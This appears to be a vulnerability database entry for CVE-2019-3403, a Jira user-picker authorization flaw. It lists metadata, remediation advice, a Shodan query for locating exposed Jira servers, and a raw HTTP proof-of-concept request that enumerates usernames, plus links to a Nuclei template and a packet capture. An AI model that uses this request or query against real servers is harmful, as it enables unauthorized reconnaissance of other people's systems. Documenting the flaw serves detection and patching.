| Title | Jira - Incorrect Authorization |
|---|---|
| Author | Ganofins |
| Severity | Medium |
| Impact | This vulnerability can lead to unauthorized access to sensitive data, potential data breaches, and unauthorized actions within the Jira system. |
| Remediation | Apply the latest security patches and updates provided by Atlassian to fix the vulnerability and ensure proper authorization controls are in place. |
| CVSS Score | 5.3 |
| EPSS Score | 0.828 |
| CVE ID | CVE-2019-3403 |
| CWE ID | CWE-863 |
| Shodan Query | http.component:"Atlassian Jira"http.component:"atlassian jira"http.component:"atlassian confluence"cpe:"cpe:2.3:a:atlassian:jira" |
| Tags | cve cve2019 atlassian jira enumeration vuln |
Jira before version 7.13.3, from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1 is susceptible to an incorrect authorization check in the /rest/api/2/user/picker rest resource, enabling an attacker to enumerate usernames and gain improper access.
GET /rest/api/2/user/picker?query HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-3403.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-3403.pcap
N/AN/A